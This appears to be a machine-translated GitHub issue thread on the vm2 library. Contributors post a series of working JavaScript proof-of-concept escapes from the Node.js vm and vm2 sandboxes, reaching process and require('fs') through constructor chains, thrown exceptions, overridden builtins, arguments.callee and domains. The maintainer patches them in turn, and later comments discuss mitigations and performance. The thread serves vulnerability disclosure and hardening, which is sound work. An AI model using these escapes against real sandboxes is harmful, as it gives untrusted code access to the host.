Vm2: Escapando da sandbox da VM

Criado em 16 jun. 2016  ·  64Comentários  ·  Fonte: patriksimek/vm2

É possível escapar da VM e realizar ações muito indesejáveis.

Encontrado por meio da seguinte essência em relação à VM nativa do nó: https://gist.github.com/domenic/d15dfd8f06ae5d1109b0

Veja os 2 exemplos de código a seguir:

const VM = require('vm2').VM;

const options = {
    sandbox: {}
};

const vm = new VM(options);

vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

e :

const NodeVM = require('vm2').NodeVM;

const options = {
    console: 'off',
    sandbox: {},
    require: false,
    requireExternal: false,
    requireNative: [],
    requireRoot : "./"
};

const vm = new NodeVM(options);
vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

Executar qualquer uma dessas saídas o seguinte:

{ dev: 16777220,
  mode: 16877,
  nlink: 14,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 476,
  blocks: 0,
  atime: 2016-06-15T22:20:05.000Z,
  mtime: 2016-06-15T22:19:59.000Z,
  ctime: 2016-06-15T22:19:59.000Z,
  birthtime: 2016-06-09T01:02:12.000Z }

Eu validei esse comportamento tanto na v4.4.5 quanto na v6.2.1

discussion

Comentários muito úteis

Argh! Você está entendendo! ;) Devo me desculpar por ter te enganado assim. Para qualquer público lá fora; o problema com o escopo da VM em node.js é com referências a objetos no escopo do host (a partir do qual você pode obter uma referência para todo o escopo do host por meio da cadeia de protótipo).

Agora que você substituiu a propriedade constructor , terei que ir abaixo dela:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

Todos 64 comentários

Obrigado pelo relatório, estou trabalhando duro em uma nova versão do vm2 e consegui consertar esse vazamento criando contexto dentro do contexto criado. Não tenho certeza se há outra maneira de escapar da sandbox, ainda não encontrei uma.

const context = vm.createContext(vm.runInNewContext("({})"));

const whatIsThis = vm.runInContext(`
    const ForeignFunction = this.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`, context);

Tentei subir, mas parece que não é possível, pois isso é true :

this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()

Estou brincando com a abordagem que você mencionou acima.

O primeiro objetivo era tentar adaptar seu comentário para permitir que eu passasse as coisas para a sandbox, o que é necessário para meu caso de uso. Por favor, corrija-me se esta é a maneira errada de fazer isso, mas parece ser a única maneira:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {
        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Saídas:

Hello World Inside
Hello World Outside

Em seguida, tentei novamente escapar da VM e tive êxito:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {

        const ForeignFunction = log.constructor.constructor;
        const process1 = ForeignFunction("return process")();
        const require1 = process1.mainModule.require;
        const console1 = require1("console");
        const fs1 = require1("fs");
        console1.log(fs1.statSync('.'));

        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Quais saídas:

{ dev: 16777220,
  mode: 16877,
  nlink: 16,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 544,
  blocks: 0,
  atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
  mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside

Parece que não há como injetar coisas com segurança na caixa de areia sem que essas coisas sejam usadas para sair da caixa de areia.

Existe uma maneira - os objetos precisam ser contextualizados para o contexto da VM. Existem duas maneiras de fazer isso. Você pode clonar profundamente esses objetos ou usar Proxies. Estou usando Proxies em novo vm2.

https://github.com/patriksimek/vm2/tree/v3

Eu empurrei a próxima versão para GH. Ainda está em andamento, mas deve funcionar.

v3 também está quebrado:

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        'log' : console.log,
    },
});

vm.run(`
    try {
        log.__proto__ = null;
    }
    catch (e) {
        const foreignFunction = e.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const fs = require("fs");
        log(fs.statSync('.'));
    }
`);

É meio fútil jogar esse jogo de whack-a-mole.

@parasyte obrigado, foi causado por um erro de digitação no meu código. Está consertado agora.

Não se esqueça de capturar exceções.

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        boom() {
            throw new Error();
        },
    },
});

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        boom();
    }
    catch (e) {
        exploit(e);
    }
`);

@parasyte thanks, fixed. Eu realmente aprecio suas contribuições.

🚎 +1

@patriksimek, legal!

Eu também tenho acesso a certos objetos em escopo global que posso aproveitar para sair da sandbox contextualizada. Este nem mesmo exige a passagem de nenhum objeto para a VM.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Reflect.construct = exploit;
    new Buffer([0]);
`);

@parasyte sheesh! Deve haver uma infinidade de vetores para descobrir.

@keyosk Sim, provavelmente ...

BTW @patriksimek o ES6 é muito melhor do que o coffeescript! 👍

@parasyte obrigado novamente, foi consertado junto com mais alguns backdoors que eu encontrei.
@keyosk acredito que iremos encontrar todos eles.

Que tal este?

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Object.assign = function (o) {
        return {
            'get' : function (t, k) {
                try {
                    t = o.get(t, k);
                    exploit(t);
                }
                catch (e) {}

                return t;
            },
        };
    };
    new Buffer([0]);
`);

@parasyte nice catch, consertou isso. Obrigado.

Você abriu uma nova lata de vermes em um patch recente.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        new Buffer();
    }
    catch (e) {
        exploit(e);
    }
`);

Droga, estava trabalhando muito tarde e perdi o foco. Escreveu algumas notas de segurança , principalmente para mim. :)

Obrigado, consertado.

Bem, eu nem olhei para NodeVM até agora! Há muito mais área de superfície para esfregar, aqui ...

Imediatamente percebi uma fuga por meio de arguments.callee :

'use strict';

const {NodeVM} = require('vm2');

const vm = new NodeVM();

vm.run(`
    function getParent(o) {
        return o.constructor.constructor('return this')();
    }

    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');

        return o;
    }

    (function () {
        exploit(getParent(getParent(arguments.callee.caller)));
    })();
`);

Bem, isso nos aponta para a questão inicial aqui - contexto criado dentro de um novo contexto não é suficiente, obviamente. Versão curta:

vm.run(`
    global.constructor.constructor('return this')().constructor.constructor('return process')()
`);

Ainda não encontrei uma solução. Talvez corrigindo o host com delete process.mainModule mas tenho certeza de que há outra maneira de subir para require .

Encontrou uma solução :-)

Argh! Você está entendendo! ;) Devo me desculpar por ter te enganado assim. Para qualquer público lá fora; o problema com o escopo da VM em node.js é com referências a objetos no escopo do host (a partir do qual você pode obter uma referência para todo o escopo do host por meio da cadeia de protótipo).

Agora que você substituiu a propriedade constructor , terei que ir abaixo dela:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

Fiz uma pesquisa aqui e percebi que global.__proto__ === host.Object.prototype . Ao aplicar Object.setPrototypeOf(global, Object.prototype) , consegui fechar o crículo.

Obrigado novamente.

@parasyte @patriksimek está fechado na última versão publicada do npm?

Sim, podemos fechar isso por agora.

FWIW, resolvemos isso desabilitando eval ... e tomando muito cuidado para não expor referências na sandbox.

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

Isso evita o escape, uma vez que a string return process não pode ser avaliada. Como conseqüência, ele também desativa eval() legítimos e chamadas do Construtor do Gerador de Função. (A utilidade desses recursos é bastante questionável.)

@parasyte apenas para maior clareza, isso é algo que você implementou em outro lugar? Ou algo contribuiu para vm2?

@keyscores isso foi implementado em outro lugar.

Sim, em outro lugar. Temos um projeto sandbox semelhante que está aguardando autorização para lançar o código aberto. Desculpe pela confusão. Eu estava comentando como o problema raiz foi resolvido naquele projeto.

@parasyte Alguma atualização do seu lançamento? Estaria interessado em comparar a implementação. Acho que todos ganham.

@keyscores Desculpe, nada a relatar ainda. O esforço de código aberto perdeu a prioridade devido a algum planejamento ruim na organização. : \

Eu sei que este é um problema morto, mas há algum desvio conhecido para a biblioteca vm do Node ao executar código como este:

javascript vm.runInNewContext("arbitrary user input here", Object.create(null))

@parasyte : Só por curiosidade, por que não desabilitar o eval injetando global.eval = null; no topo do código externo antes de executá-lo?

@ Eric24 Boa pergunta! Esta apresentação explica o motivo com alguns detalhes: https://vimeo.com/191757364 e aqui está o conjunto de slides: https://goo.gl/KxiG73

O ponto mais importante é que existem muitas maneiras de chamar eval() do JavaScript, e substituir global.eval é apenas uma delas. Quando você terminar de ler a lista inteira, perceberá que é impossível fazer o monkey patch para avaliação por GeneratorFunction . E isso não inclui uma miríade de outras maneiras que eval() poderia ser exposto por futuras mudanças ES.

Portanto, a única solução viável é desabilitar evals no V8 usando C ++.

@parasyte : Faz todo o sentido (e obrigado pela apresentação). Então, seu código C ++ desabilita eval apenas na VM ou no "processo de host" também?

@ Eric24 ele desabilitará eval no contexto em que disableEval é chamado. Você vai querer injetar isso no início do código de userland fornecido que deve ser executado no vm. Além disso, você também pode executar isso em seu host e desativá-lo nesse contexto.

@parasyte : Entendi. Obrigado! Devo dizer que sua solução é a melhor que encontrei depois de vários dias (durante várias semanas) pesquisando esse tópico.

@Anorov Isso foi relatado há poucos dias: https://github.com/nodejs/node/issues/15673 Ele permite escapar da VM mesmo com um protótipo nulo na sandbox. É um problema apenas se os domínios estiverem habilitados (este não é o padrão, mas cuidado com o uso de domain em toda a sua hierarquia de dependências).

Aqui está uma prova de conceito útil e elegante. Testado no nó v8.6.0:

// 'use strict';

const domain = require('domain');
const vm = require('vm');

const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;

domain.create().enter(); // Entering a domain leaks the private context into VM

vm.runInNewContext(untrusted, Object.create(null));

Esteja atento a vazamentos como esses. A única maneira de se proteger dessa classe de vulnerabilidade é desabilitando o eval. E esteja cansado de que pode haver outros problemas com vm fora do escopo da avaliação.

@parasyte Obrigado. Estou executando este código com o Node do Python: https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111

Nenhuma outra biblioteca ( domain ou outra) é importada ou usada. Você vê algum problema potencial com este código? Gostaria de evitar a necessidade de dependências de Javascript (como vm2), se possível.

@Anorov Ah entendo. Você está preocupado que o CloudFlare (ou um MITM) tente fornecer um código que possa escapar da sandbox? Teria que ser um ataque direcionado, mas eu não o descartaria totalmente.

Correto. Alguém também pode imitar a página que estou esperando,
que meu script pensa que é Cloudflare quando não é. Estou considerando também
verificar se o endereço IP do servidor é propriedade da Cloudflare como um
precaução adicional.

Independentemente disso, vamos supor que esse código estava sendo executado em qualquer
entrada do usuário e não apenas do Cloudflare. O mecanismo de sandbox é seguro, para
o melhor do conhecimento da comunidade Node?

Em 2 de outubro de 2017, às 22h10, "Jay Oster" [email protected] escreveu:

@Anorov https://github.com/anorov Ah, entendo. Você está preocupado que
CloudFlare (ou um MITM) tentará fornecer um código que pode escapar de
a caixa de areia? Teria que ser um ataque direcionado, mas eu não o descartaria
totalmente fora.

-
Você está recebendo isso porque foi mencionado.
Responda a este e-mail diretamente, visualize-o no GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-333718695 ou mudo
o segmento
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
.

@Anorov :

O mecanismo de sandboxing é seguro, de acordo com o melhor conhecimento da comunidade Node?

Absolutamente não. A documentação oficial faz esta observação muito forte:

Nota: O módulo vm não é um mecanismo de segurança. Não o use para executar código não confiável.

Estou ciente desse aviso, mas estou perguntando sobre a praticidade.

Em 3 de outubro de 2017, às 16h34, "Cody Massin" [email protected] escreveu:

@Anorov https://github.com/anorov :

O mecanismo de sandboxing é seguro, com o melhor da comunidade Node
conhecimento?

Absolutamente não. A documentação oficial
https://nodejs.org/api/vm.html#vm_vm_executing_javascript torna isso
nota muito forte:

Nota: O módulo vm não é um mecanismo de segurança. Não use para correr
código não confiável.

-
Você está recebendo isso porque foi mencionado.
Responda a este e-mail diretamente, visualize-o no GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 ou mudo
o segmento
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
.

Na prática, o mecanismo de área restrita não é seguro para código não confiável. É por isso que @patriksimek tentou criar um mecanismo seguro de sandbox com a biblioteca vm2 . É também por isso que @parasyte trabalhou para criar sua própria biblioteca usando uma abordagem diferente na área de segurança de código não confiável.

@Anorov Resumindo, não confie apenas em vm . Mas é uma ferramenta útil como uma única camada da cebola.

Tenho brincado com o vm e o código C ++ sugerido para desabilitar o eval do @parasyte . Funciona bem, mas usar o VM em geral traz uma penalidade de desempenho bastante significativa. Então, começamos a experimentar com _nova função (...) _. Estou usando esta construção:

const userfunc = new Function('context',
  '"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');

Isso também funciona e é muito mais rápido (mais de 1000 vezes mais rápido em alguns casos de teste). Além de desabilitar eval, também evito que o código do userland contenha uma referência a 'global' (sem esse teste, a função pode modificar o escopo global usando global.qualquer coisa). Esta parece ser uma caixa de proteção eficaz e segura. o que estou perdendo?

Sua estratégia impede que as pessoas importem namespaces como fs e modifiquem drasticamente seus servidores? Também estou curioso sobre a desativação do eval, por que toda a preocupação com o eval e não a preocupação com o código fora do eval?

@wysisoft : Boa pergunta. Sim, 'require' não é exposto. Cada script, como parte de seus metadados, define uma lista de módulos "permitidos e verificados" de que necessita, que são expostos individualmente à função antes de sua execução. Especificamente para você, 'fs' não estaria na lista aprovada (mas para scripts que precisam de armazenamento temporário, um conjunto limitado de funções de leitura / gravação é fornecido).

Desabilitar 'eval' é a chave para parar uma série de exploits (veja o comentário de @parasyte em 18NOV16). Permitir 'eval' torna possível acessar o escopo global de uma forma que não pode ser evitada de outra forma. Mais detalhes no comentário de @parasyte em 1OCT17).

@ Eric24 Não entendo o que é "lento" em vm . É exatamente o mesmo tempo de execução da v8 que alimenta o nodeJS. Tem certeza de que não está fazendo algo bobo, como recriar a sandbox toda vez que executa o código? Há alguma sobrecarga, mas não 1000x a mais.

@wysisoft eval() é um método facilmente acessível de escapar da sandbox. Desativá-lo fechará permanentemente a saída de emergência por meio da avaliação do código dentro do contexto privado . Mas eu reitero mais uma vez, este não é o único vetor de ataque e você deve ter cuidado com tudo.

@parasyte - Eu tenho um teste muito simples que cria uma Function () e uma VM com o mais próximo possível do mesmo código para cada uma, executa as duas 1000 vezes e informa o tempo total necessário. Código abaixo:

"use strict";

const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");

console.log('TEST=' + global.test);
let response = {result: 0, body: null};

// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
  '"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');

// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
  '"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);

// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');

// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');

// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  //ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};  // << THIS IS THE PROBLEM!
  //context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

Como você pode ver no teste, estou criando o script e o contexto uma vez e, em seguida, executando-o 1000 vezes. No entanto, no caso de uso de destino real, precisarei recriar o contexto todas as vezes (potencialmente sendo capaz de armazenar em cache o script compilado), porque cada execução é única e deve começar com um novo contexto). Sem recriar o contexto a cada vez, a diferença entre Function () e VM é de 6 a 14 vezes.

Mas, depois de dar uma olhada mais de perto, tentei uma variação do código (criando o contexto a cada vez dentro do loop), que está mais próxima do caso de uso real. Eu tinha originalmente cronometrado a criação única do contexto em pouco menos de 1 ms, então eu estava incluindo isso por iteração. Mas a execução do código real mostrou o verdadeiro culpado - embora a VM ainda seja mais lenta, o problema não é criar o contexto, mas criar o objeto 'ctx'. Isso é uma grande surpresa.

Mas será necessário criar um novo objeto para o contexto VM a cada vez (embora alguma variação disso também seja necessária para Function (), então a diferença entre os dois é de 6 a 14 vezes (o que ainda é significativo) .

Hmmm. Acabei de tentar outro teste:

let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');


hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  // let context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

Aqui, o objeto 'ctx' é recriado a cada vez, em ambos os testes, mas o contexto é criado apenas uma vez. A diferença de tempo está de volta ao intervalo de 6 a 14 anos. Mas se eu descomentar a linha que recria o contexto a cada vez, ficaria até 144 vezes mais lento!

@ Eric24 Você está fazendo o que eu disse no meu post anterior. 😕 script.runInContext() é o problema. Isso é efetivamente o mesmo que chamar eval() (com um contexto v8 diferente).

A solução para corrigir seu problema de desempenho é chamar runInContext uma vez para compilar o código e interagir com o código compilado por meio da referência que ele retorna ou das referências que você fornece como argumentos de entrada. Por exemplo, passando alguns objetos new Event() para comunicação bidirecional com a sandbox. Isso é o que nosso [ainda interno sandbox, não foi open-source por motivos políticos] vm wrapper faz, e a sobrecarga é completamente insignificante.

@parasyte : Hmmm. Mas new vm.Script () não compila o código? Em qualquer caso, acho que para fazer o que você está dizendo, o que devo armazenar em cache é a referência para runInContext, portanto, só sofrerei a sobrecarga na primeira vez que um script for chamado. Definitivamente, vale a pena considerar.

Não. runInContext compila o código. Pense nisso. v8 é um compilador Just-In-Time . Ele tem que executar o código para compilá-lo.

@parasyte : OK, mas a partir dos documentos do node.js:
_As instâncias da classe vm.Script contêm scripts pré-compilados que podem ser executados em caixas de proteção específicas (ou "contextos") ._

@ Eric24 A documentação é meio confusa. O fragmento de código associado é "compilado" da mesma forma que um interpretador compila JavaScript em código de bytes. O JS é capaz de ser executado por meio de um intérprete depois que o objeto Script foi instanciado, mas a maior parte do ganho de desempenho da v8 vem da compilação dessa representação intermediária interpretada em código de máquina nativo. A última etapa não começa até que runInContext seja chamado.

Na realidade, o ciclo de vida do compilador JIT é mais complexo do que isso, pois o código precisa ser aquecido antes que o JIT o considere para otimização. Há muitos materiais de

Mas, para fornecer alguns dados concretos, aqui está o código-fonte relevante para runInContext : https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54 -L61

A referência realRunInContext é do módulo C ++ contextify . Que você pode encontrar aqui: https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660 -L719

A parte mais importante deste código C ++ é indiscutivelmente a chamada para EvalMachine , que vincula o código compilado ao contexto atual e chama script->Run() para iniciar o compilador JIT. O que, claro, é o que começa a procurar código para otimizar.

Espero que ajude!

@parasyte : Sim, isso é útil. Obrigado!

Estamos lutando com uma implementação usando sandbox vm2. Podemos chamar o código assíncrono dentro da sandbox vm2? a razão é, precisamos nos conectar a uma fonte de dados como o Mysql da sandbox do vm2?

Sim, você pode esperar de forma assíncrona dentro da sandbox, quais problemas você está tendo?
Lembre-se de que se você estiver executando um código não confiável, provavelmente não deseja
concede acesso sql total à sandbox. Em vez disso, você provavelmente deseja adicionar um
método getdata () para a caixa de areia Que executa o código fora da caixa de areia onde
a conexão SQL real acontece.

Na terça-feira, 24 de outubro de 2017 às 6h49 Rajagopal Somasundaram <
notificaçõ[email protected]> escreveu:

Estamos lutando com uma implementação usando sandbox vm2. Podemos ligar
código assíncrono dentro da sandbox vm2? a razão é que precisamos nos conectar a um
fonte de dados como o Mysql da sandbox do vm2?

-
Você está recebendo isso porque foi mencionado.
Responda a este e-mail diretamente, visualize-o no GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 ou mudo
o segmento
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
.

@wysisoft Obrigado pela resposta, https://github.com/patriksimek/vm2/issues/102. Além disso, as configurações de acesso SQL são fornecidas pelo próprio usuário e o script sandbox não acessará o banco de dados do nosso aplicativo.

@ Eric24 se importa em compartilhar a alternativa 'new Function ()'? Parece mais limpo do que a VM

@platinumindustries : No final, eu realmente não recomendo a alternativa "new Function ()". Acabamos mantendo a abordagem da VM e nos concentramos na otimização desse código. O que temos agora funciona muito bem. Sinceramente, não consigo me lembrar exatamente o que nos empurrou nessa direção, mas sei que várias pequenas coisas acabaram ultrapassando a abordagem "nova Função ()" da lista.

@ Eric24 Muito bem então. Além disso, na nova versão do NodeJS 10.9 * Eles têm uma opção para desativar eval () no vm. Isso é o suficiente ou ainda preciso desativá-lo de C

Realmente sinto muito por pular em um tópico antigo.

No entanto, no caso de uso de destino real, precisarei recriar o contexto todas as vezes (potencialmente sendo capaz de armazenar em cache o script compilado), porque cada execução é única e deve começar com um novo contexto).

@ Eric24 Estou examinando como posso potencialmente executar algum código arbitrário usando vm2 dentro de um aplicativo de servidor. Acredito que meu caso de uso seja semelhante ao que você mencionou, porque estou procurando como posso passar parâmetros / argumentos de uma solicitação de entrada para o código em execução dentro da VM.

No momento, a única maneira que vejo de fazer isso é criar um novo contexto a cada vez, mas isso é muito lento. Estou tentando descobrir se posso reutilizar um objeto de contexto, mas usar algum outro mecanismo para fornecer dados ao código em execução dentro da VM. @parasyte mencionou algo sobre comunicação bidirecional usando objetos Event() , mas não estava totalmente claro para mim.

Gostaria de saber se você enfrentou um problema semelhante e, se sim, você se importaria de compartilhar algumas dicas de como você o resolveu? Obrigado pelo seu tempo.

@darahayes : Na verdade, estou criando um novo contexto para cada execução, mas não acho isso lento. Que tipo de desempenho você está vendo em comparação com o que está esperando? E como você está medindo o desempenho?

Estou ativando um novo processo nodejs para cada execução, e não é tão ruim, menos de 100 ms de atraso.

Esta página foi útil?
0 / 5 - 0 avaliações